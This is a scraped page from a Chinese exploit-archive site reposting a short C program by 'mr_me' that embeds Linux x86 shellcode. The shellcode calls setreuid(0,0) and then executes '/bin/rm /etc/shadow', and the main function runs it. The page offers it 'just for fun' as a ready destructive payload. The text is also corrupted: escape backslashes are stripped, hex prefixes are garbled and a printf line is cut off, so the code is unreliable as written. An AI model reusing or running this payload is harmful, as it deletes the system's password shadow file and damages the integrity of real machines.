首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux - setreuid (0,0) & execve(/bin/rm /etc/shadow)
来源:vfocus.net 作者:mr_me 发布时间:2009-12-21  

/*

rmtheshadow.c

by mr_me

Just for fun :)

visit: http://www.corelan.be:8800/

*/

#include <stdio.h>
#include <string.h>

char sc[] =
         "x31xc0"                               // xor    %eax,%eax
         "xb0x46"                               // mov    $0&#65533;46,%al
         "x31xdb"                               // xor    %ebx,%ebx
         "x31xc9"                               // xor    %ecx,%ecx
         "xcdx80"                               // int    $0&#65533;80
         "x31xc0"                               // xor    %eax,%eax
         "x50"                                  // push   %eax
         "x68x2fx2fx72x6d"              // push   $0&#65533;6d722f2f
         "x68x2fx62x69x6e"              // push   $0&#65533;6e69622f
         "x89xe3"                               // mov    %esp,%ebx
         "x50"                                  // push   %eax
         "x68x61x64x6fx77"              // push   $0&#65533;776f6461
         "x68x2fx2fx73x68"              // push   $0&#65533;68732f2f
         "x68x2fx65x74x63"              // push   $0&#65533;6374652f
         "x89xe1"                               // mov    %esp,%ecx
         "x50"                                  // push   %eax
         "x51"                                  // push   %ecx
         "x53"                                  // push   %ebx
         "x89xe1"                               // mov    %esp,%ecx
         "xb0x0b"                               // mov    $0xb,%al
         "xcdx80";                              // int    $0&#65533;80
main()
{
    printf("Linux &#65533; setreuid (0,0) & execve(/bin/rm /etc/shadow)\ncoded by: mr_$
    printf("Length of shellcode: %dn",strlen(sc));
    (*(void(*) ()) sc)();
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Win32 XP SP3 ShellExecuteA she
·PlayMeNow Malformed M3U Playli
·PHP 5.2.12/5.3.1 symlink() ope
·PlayMeNow Malformed M3U Playli
·Mozilla Firefox Location Bar S
·TFTP SERVER Buffer Overflow re
·Simple PHP Blog <= 0.5.1 Local
·3Com OfficeConnect ADSL Wirele
·PlayMeNow Malformed M3U Playli
·Cisco ASA <= 8.x VPN SSL modul
·TLS Renegotiation Vulnerabilit
·3Com OfficeConnect Routers DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved